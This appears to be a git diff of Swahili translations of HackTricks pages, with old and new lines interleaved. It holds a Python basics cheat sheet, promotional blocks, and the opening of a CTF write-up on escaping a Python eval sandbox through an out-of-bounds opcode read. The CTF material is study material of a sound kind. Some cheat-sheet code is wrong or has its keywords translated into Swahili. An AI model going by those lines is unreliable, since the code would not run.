* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Misingi ya Python
|
||||
## Msingi wa Python
|
||||
|
||||
### Taarifa muhimu
|
||||
|
||||
list(xrange()) == range() --> Katika python3, range ni kama xrange ya python2 (siyo orodha bali ni jenereta)\
|
||||
Tofauti kati ya Tuple na Orodha ni kwamba nafasi ya thamani katika tuple inampa maana lakini orodha ni thamani zilizopangwa tu. Tuples zina muundo lakini orodha zina utaratibu.
|
||||
list(xrange()) == range() --> Katika python3 range ni xrange ya python2 (siyo orodha bali jenereta)\
|
||||
Tofauti kati ya Tuple na Orodha ni kwamba nafasi ya thamani katika tuple inampa maana lakini orodha ni thamani zilizopangwa tu. Tuples zina miundo lakini orodha zina utaratibu.
|
||||
|
||||
### Operesheni kuu
|
||||
### Operesheni Kuu
|
||||
|
||||
Kuongeza namba unatumia: 3\*\*2 (siyo 3^2)\
|
||||
Ikiwa unafanya 2/3 inarudisha 1 kwa sababu unagawanya nambari mbili (integers). Ikiwa unataka namba za kdecimals unapaswa kugawa floats (2.0/3.0).\
|
||||
Kuongeza nambari unatumia: 3\*\*2 (siyo 3^2)\
|
||||
Ikiwa unafanya 2/3 inarudisha 1 kwa sababu unagawanya ints (namba kamili). Ikiwa unataka desimali unapaswa kugawanya floats (2.0/3.0).\
|
||||
i >= j\
|
||||
i <= j\
|
||||
i == j\
|
||||
i != j\
|
||||
a na b\
|
||||
a au b\
|
||||
siyo a\
|
||||
si a\
|
||||
float(a)\
|
||||
int(a)\
|
||||
str(d)\
|
||||
|
|
@ -39,11 +40,11 @@ ord("A") = 65\
|
|||
chr(65) = 'A'\
|
||||
hex(100) = '0x64'\
|
||||
hex(100)\[2:] = '64'\
|
||||
isinstance(1, int) = True\
|
||||
isinstance(1, int) = Kweli\
|
||||
"a b".split(" ") = \['a', 'b']\
|
||||
" ".join(\['a', 'b']) = "a b"\
|
||||
"abcdef".startswith("ab") = True\
|
||||
"abcdef".contains("abc") = True\
|
||||
"abcdef".startswith("ab") = Kweli\
|
||||
"abcdef".contains("abc") = Kweli\
|
||||
"abc\n".strip() = "abc"\
|
||||
"apbc".replace("p","") = "abc"\
|
||||
dir(str) = Orodha ya njia zote zilizopo\
|
||||
|
|
@ -54,7 +55,7 @@ help(str) = Maelezo ya darasa la str\
|
|||
sum(\[1,2,3]) = 6\
|
||||
sorted(\[1,43,5,3,21,4])
|
||||
|
||||
**Kuunganisha herufi**\
|
||||
**Jumuisha herufi**\
|
||||
3 \* ’a’ = ‘aaa’\
|
||||
‘a’ + ‘b’ = ‘ab’\
|
||||
‘a’ + str(3) = ‘a3’\
|
||||
|
|
@ -70,7 +71,7 @@ sorted(\[1,43,5,3,21,4])
|
|||
\# Maoni ya mstari mmoja\
|
||||
"""\
|
||||
Maoni ya mistari kadhaa\
|
||||
Mwingine\
|
||||
Nyingine\
|
||||
"""
|
||||
|
||||
**Mizunguko**
|
||||
|
|
@ -97,23 +98,23 @@ t1 = (1,'2,'three')\
|
|||
t2 = (5,6)\
|
||||
t3 = t1 + t2 = (1, '2', 'three', 5, 6)\
|
||||
(4,) = Singelton\
|
||||
d = () empty tuple\
|
||||
d += (4,) --> Adding into a tuple\
|
||||
CANT! --> t1\[1] == 'New value'\
|
||||
list(t2) = \[5,6] --> From tuple to list
|
||||
d = () tupu tuple\
|
||||
d += (4,) --> Kuongeza kwenye tuple\
|
||||
CANT! --> t1\[1] == 'Thamani mpya'\
|
||||
list(t2) = \[5,6] --> Kutoka kwenye tuple kwenda kwenye orodha
|
||||
|
||||
### Orodha (array)
|
||||
### List (array)
|
||||
|
||||
d = \[] empty\
|
||||
d = \[] tupu\
|
||||
a = \[1,2,3]\
|
||||
b = \[4,5]\
|
||||
a + b = \[1,2,3,4,5]\
|
||||
b.append(6) = \[4,5,6]\
|
||||
tuple(a) = (1,2,3) --> From list to tuple
|
||||
tuple(a) = (1,2,3) --> Kutoka kwenye orodha kwenda kwenye tuple
|
||||
|
||||
### Dictionary
|
||||
|
||||
d = {} empty\
|
||||
d = {} tupu\
|
||||
monthNumbers={1:’Jan’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Jan’, 2: ‘feb’,’feb’:2}\
|
||||
monthNumbers\[1] = ‘Jan’\
|
||||
monthNumbers\[‘feb’] = 2\
|
||||
|
|
@ -122,31 +123,31 @@ monthNumbers.values() = \[‘Jan’,’feb’,2]\
|
|||
keys = \[k for k in monthNumbers]\
|
||||
a={'9':9}\
|
||||
monthNumbers.update(a) = {'9':9, 1:’Jan’, 2: ‘feb’,’feb’:2}\
|
||||
mN = monthNumbers.copy() #Independent copy\
|
||||
monthNumbers.get('key',0) #Check if key exists, Return value of monthNumbers\["key"] or 0 if it does not exists
|
||||
mN = monthNumbers.copy() #Nakala huru\
|
||||
monthNumbers.get('key',0) #Angalia ikiwa funguo ipo, Rudi thamani ya monthNumbers\["funguo"] au 0 ikiwa haipo
|
||||
|
||||
### Set
|
||||
|
||||
In sets there are no repetitions\
|
||||
Kwenye seti hakuna kurudia\
|
||||
myset = set(\['a', 'b']) = {'a', 'b'}\
|
||||
myset.add('c') = {'a', 'b', 'c'}\
|
||||
myset.add('a') = {'a', 'b', 'c'} #No repetitions\
|
||||
myset.add('a') = {'a', 'b', 'c'} #Hakuna kurudia\
|
||||
myset.update(\[1,2,3]) = set(\['a', 1, 2, 'b', 'c', 3])\
|
||||
myset.discard(10) #If present, remove it, if not, nothing\
|
||||
myset.remove(10) #If present remove it, if not, rise exception\
|
||||
myset.discard(10) #Ikiwepo, iondoe, ikiwa la, usifanye kitu\
|
||||
myset.remove(10) #Ikiwepo iondoe, ikiwa la, italeta kosa\
|
||||
myset2 = set(\[1, 2, 3, 4])\
|
||||
myset.union(myset2) #Values it myset OR myset2\
|
||||
myset.intersection(myset2) #Values in myset AND myset2\
|
||||
myset.difference(myset2) #Values in myset but not in myset2\
|
||||
myset.symmetric\_difference(myset2) #Values that are not in myset AND myset2 (not in both)\
|
||||
myset.pop() #Get the first element of the set and remove it\
|
||||
myset.intersection\_update(myset2) #myset = Elements in both myset and myset2\
|
||||
myset.difference\_update(myset2) #myset = Elements in myset but not in myset2\
|
||||
myset.symmetric\_difference\_update(myset2) #myset = Elements that are not in both
|
||||
myset.union(myset2) #Thamani za myset AU myset2\
|
||||
myset.intersection(myset2) #Thamani zilizo kwenye myset NA myset2\
|
||||
myset.difference(myset2) #Thamani zilizo kwenye myset lakini sio kwenye myset2\
|
||||
myset.symmetric\_difference(myset2) #Thamani ambazo sio kwenye myset NA myset2 (sio kwenye zote mbili)\
|
||||
myset.pop() #Pata kipengele cha kwanza cha seti na iondoe\
|
||||
myset.intersection\_update(myset2) #myset = Elementi zilizo kwenye myset na myset2\
|
||||
myset.difference\_update(myset2) #myset = Elementi zilizo kwenye myset lakini sio kwenye myset2\
|
||||
myset.symmetric\_difference\_update(myset2) #myset = Elementi ambazo sio kwenye zote mbili
|
||||
|
||||
### Classes
|
||||
|
||||
The method in \_\_It\_\_ will be the one used by sort to compare if an object of this class is bigger than other
|
||||
Mbinu katika \_\_It\_\_ itatumika na sort kulinganisha ikiwa kitu cha darasa hili ni kikubwa kuliko kingine
|
||||
```python
|
||||
class Person(name):
|
||||
def __init__(self,name):
|
||||
|
|
@ -174,19 +175,19 @@ MITPerson.nextIdNum += 1 #Attribute of the class +1
|
|||
def __it__(self, other):
|
||||
return self.idNum < other.idNum
|
||||
```
|
||||
### map, zip, filter, lambda, sorted na mistari ya kifupi
|
||||
### ramani, zip, chuja, lambda, iliyopangwa na mistari moja
|
||||
|
||||
**Map** ni kama: \[f(x) kwa x katika iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\
|
||||
**Ramani** ni kama: \[f(x) kwa x katika iterable] --> ramani(tutple,\[a,b]) = \[(1,2,3),(4,5)]\
|
||||
m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True]
|
||||
|
||||
**zip** inakoma wakati wa kumalizika kwa mafupi kati ya foo au bar:
|
||||
**zip** inakoma wakati mfupi kati ya foo au bar inapokoma:
|
||||
```
|
||||
for f, b in zip(foo, bar):
|
||||
print(f, b)
|
||||
```
|
||||
**Lambda** hutumiwa kuamua kazi\
|
||||
(lambda x,y: x+y)(5,3) = 8 --> Tumia lambda kama **kazi** rahisi\
|
||||
**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Tumia lambda kuorodhesha orodha\
|
||||
**Lambda** hutumika kufafanua kazi\
|
||||
(lambda x,y: x+y)(5,3) = 8 --> Tumia lambda kama kazi rahisi\
|
||||
**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Tumia lambda kupanga orodha\
|
||||
m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Tumia lambda kuchuja\
|
||||
**reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24
|
||||
```
|
||||
|
|
@ -199,9 +200,9 @@ class Car:
|
|||
crash = lambda self: print('Boom!')
|
||||
my_car = Car(); my_car.crash() = 'Boom!'
|
||||
```
|
||||
mult1 = \[x kwa ajili ya x katika \[1, 2, 3, 4, 5, 6, 7, 8, 9] kama x%3 == 0 ]
|
||||
mult1 = \[x kwa x katika \[1, 2, 3, 4, 5, 6, 7, 8, 9] kama x%3 == 0 ]
|
||||
|
||||
### Makosa ya Kutokea
|
||||
### Mafunzo ya Kipekee
|
||||
```
|
||||
def divide(x,y):
|
||||
try:
|
||||
|
|
@ -223,19 +224,20 @@ def avg(grades, weights):
|
|||
assert not len(grades) == 0, 'no grades data'
|
||||
assert len(grades) == 'wrong number grades'
|
||||
```
|
||||
### Wazalishaji, toa
|
||||
### Generators, yield
|
||||
|
||||
Mbadala ya kurudisha kitu, wazalishaji "hutoa" kitu. Unapofikia wazalishaji, itarudisha thamani ya kwanza iliyozalishwa, kisha unaweza kuifikia tena na itarudisha thamani inayofuata iliyozalishwa. Kwa hivyo, thamani zote hazizalishwi wakati mmoja na kwa kutumia hii badala ya orodha na thamani zote, unaweza kuokoa kumbukumbu nyingi.
|
||||
Mjenzi, badala ya kurudisha kitu, inatoa kitu. Unapopata, ita "rudisha" thamani ya kwanza iliyozalishwa, kisha, unaweza kuipata tena na itarudisha thamani inayofuata iliyozalishwa. Kwa hivyo, thamani zote hazizalishwi wakati mmoja na kiasi kikubwa cha kumbukumbu kinaweza kuokolewa kwa kutumia hii badala ya orodha na thamani zote.
|
||||
```
|
||||
def myGen(n):
|
||||
yield n
|
||||
yield n + 1
|
||||
```
|
||||
```markdown
|
||||
g = myGen(6) --> 6\
|
||||
next(g) --> 7\
|
||||
next(g) --> Error
|
||||
next(g) --> Kosa
|
||||
|
||||
### Mbinu za Kawaida
|
||||
### Mifumo ya Kawaida
|
||||
|
||||
import re\
|
||||
re.search("\w","hola").group() = "h"\
|
||||
|
|
@ -246,10 +248,10 @@ re.findall("\w+(la)","hola caracola") = \['la', 'la']
|
|||
. --> Kila kitu\
|
||||
\w --> \[a-zA-Z0-9\_]\
|
||||
\d --> Nambari\
|
||||
\s --> Nafasi nyeupe \[ \n\r\t\f]\
|
||||
\S --> Herufi zisizo nafasi nyeupe\
|
||||
\s --> Tabia ya nafasi nyeupe\[ \n\r\t\f]\
|
||||
\S --> Tabia isiyo ya nafasi nyeupe\
|
||||
^ --> Anza na\
|
||||
$ --> Ishi na\
|
||||
$ --> Maliza na\
|
||||
\+ --> Moja au zaidi\
|
||||
\* --> 0 au zaidi\
|
||||
? --> 0 au 1 mara
|
||||
|
|
@ -257,15 +259,15 @@ $ --> Ishi na\
|
|||
**Chaguo:**\
|
||||
re.search(pat,str,re.IGNORECASE)\
|
||||
IGNORECASE\
|
||||
DOTALL --> Ruhusu alama ya kipindi kuendana na mstari mpya\
|
||||
MULTILINE --> Ruhusu ^ na $ kuendana katika mistari tofauti
|
||||
DOTALL --> Ruhusu mshale kufanana na mstari mpya\
|
||||
MULTILINE --> Ruhusu ^ na $ kufanana kwenye mistari tofauti
|
||||
|
||||
re.findall("<.\*>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>foo\</b>and\<i>so on\</i>']\
|
||||
re.findall("<.\*?>", "\<b>foo\</b>and\<i>so on\</i>") = \['\<b>', '\</b>', '\<i>', '\</i>']
|
||||
|
||||
IterTools\
|
||||
**product**\
|
||||
from **itertools** import product --> Inazalisha mchanganyiko kati ya orodha 1 au zaidi, labda kurudia thamani, mchanganyiko wa Cartesian (mali ya kugawa)\
|
||||
from **itertools** import product --> Inazalisha mchanganyiko kati ya orodha 1 au zaidi, labda kurudia thamani, matokeo ya mchanganyiko wa Cartesian (mali ya kugawa)\
|
||||
print list(**product**(\[1,2,3],\[3,4])) = \[(1, 3), (1, 4), (2, 3), (2, 4), (3, 3), (3, 4)]\
|
||||
print list(**product**(\[1,2,3],repeat = 2)) = \[(1, 1), (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (3, 3)]
|
||||
|
||||
|
|
@ -275,16 +277,17 @@ print list(permutations(\['1','2','3'])) = \[('1', '2', '3'), ('1', '3', '2'), (
|
|||
print(list(permutations('123',2))) = \[('1', '2'), ('1', '3'), ('2', '1'), ('2', '3'), ('3', '1'), ('3', '2')] Kila mchanganyiko unaowezekana wa urefu wa 2
|
||||
|
||||
**combinations**\
|
||||
from itertools import **combinations** --> Inazalisha mchanganyiko wote unaowezekana bila kurudia wahusika (ikiwa "ab" ipo, haizalishi "ba")\
|
||||
from itertools import **combinations** --> Inazalisha mchanganyiko wote unaowezekana bila kurudia wahusika (ikiwa "ab" ipo, haitoi "ba")\
|
||||
print(list(**combinations**('123',2))) --> \[('1', '2'), ('1', '3'), ('2', '3')]
|
||||
|
||||
**combinations\_with\_replacement**\
|
||||
from itertools import **combinations\_with\_replacement** --> Inazalisha mchanganyiko wote unaowezekana kutoka kwa wahusika kuanzia hapo baadaye (kwa mfano, ya 3 imechanganywa kutoka ya 3 lakini sio na ya 2 au ya 1)\
|
||||
from itertools import **combinations\_with\_replacement** --> Inazalisha mchanganyiko wote unaowezekana kutoka kwa wahusika kuelekea mbele (kwa mfano, ya tatu inachanganywa kutoka ya tatu na kuendelea lakini sio na ya pili au ya kwanza)\
|
||||
print(list(**combinations\_with\_replacement**('1133',2))) = \[('1', '1'), ('1', '1'), ('1', '3'), ('1', '3'), ('1', '1'), ('1', '3'), ('1', '3'), ('3', '3'), ('3', '3'), ('3', '3')]
|
||||
|
||||
### Wapambaaji
|
||||
|
||||
Wapambaaji ambao hupima wakati ambao kazi inahitaji kutekelezwa (kutoka [hapa](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)):
|
||||
Wapambaaji ambao hupima muda ambao kazi inahitaji kutekelezwa (kutoka [hapa](https://towardsdatascience.com/decorating-functions-in-python-619cbbe82c74)):
|
||||
```
|
||||
```python
|
||||
from functools import wraps
|
||||
import time
|
||||
|
|
@ -302,22 +305,23 @@ return wrapper
|
|||
def decorated_func():
|
||||
print("Decorated func!")
|
||||
```
|
||||
Ikiendeshwa, utaona kitu kama hiki:
|
||||
Ukiikimbia, utaona kitu kama hiki:
|
||||
```
|
||||
Let's call our decorated function
|
||||
Decorated func!
|
||||
Execution time: 4.792213439941406e-05 seconds
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
|
|
@ -61,16 +62,17 @@ return 0
|
|||
|
||||
main()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,45 +1,46 @@
|
|||
# Kusoma LOAD_NAME / LOAD_CONST opcode OOB
|
||||
# Kusoma\_JINA / Kusoma\_CONST opcode OOB Soma
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Taarifa hii imetolewa** [**kutoka kwenye andiko hili**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
|
||||
**Maelezo haya yalichukuliwa** [**kutoka kwenye andiko hili**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
|
||||
|
||||
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
|
||||
|
||||
Tunaweza kutumia kipengele cha OOB read katika opcode ya LOAD_NAME / LOAD_CONST ili kupata alama fulani kwenye kumbukumbu. Hii inamaanisha kutumia hila kama `(a, b, c, ... mamia ya alama ..., __getattribute__) if [] else [].__getattribute__(...)` ili kupata alama (kama jina la kazi) unayotaka.
|
||||
Tunaweza kutumia kipengele cha OOB soma katika opcode ya Kusoma\_JINA / Kusoma\_CONST ili kupata alama fulani kwenye kumbukumbu. Hii inamaanisha kutumia hila kama `(a, b, c, ... mamia ya alama ..., __getattribute__) if [] else [].__getattribute__(...)` ili kupata alama (kama vile jina la kazi) unayotaka.
|
||||
|
||||
Kisha tuandae shambulio letu.
|
||||
Kisha tengeneza shambulio lako.
|
||||
|
||||
### Muhtasari <a href="#overview-1" id="overview-1"></a>
|
||||
### Maelezo Mafupi <a href="#overview-1" id="overview-1"></a>
|
||||
|
||||
Msimbo wa chanzo ni mfupi sana, una mstari wa 4 tu!
|
||||
Msimbo wa chanzo ni mfupi sana, una jumla ya mistari 4!
|
||||
```python
|
||||
source = input('>>> ')
|
||||
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
|
||||
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
|
||||
print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
Unaweza kuingiza nambari yoyote ya Python, na itaandaliwa kuwa [kitu cha nambari ya Python](https://docs.python.org/3/c-api/code.html). Hata hivyo, `co_consts` na `co_names` ya kitu hicho cha nambari zitabadilishwa na kufanywa kuwa tupu kabla ya kutekeleza kitu hicho cha nambari.
|
||||
Unaweza kuingiza kanuni ya Python ya kupita, na itakusanywa kuwa [kitu cha kanuni ya Python](https://docs.python.org/3/c-api/code.html). Walakini `co_consts` na `co_names` ya kitu hicho cha kanuni itabadilishwa na tuple tupu kabla ya kutekeleza kitu hicho cha kanuni.
|
||||
|
||||
Kwa njia hii, matokeo yote yanayohusisha vitu (kama vile nambari, herufi n.k.) au majina (kama vile mabadiliko, kazi) yanaweza kusababisha kosa la kugawanyika mwishoni.
|
||||
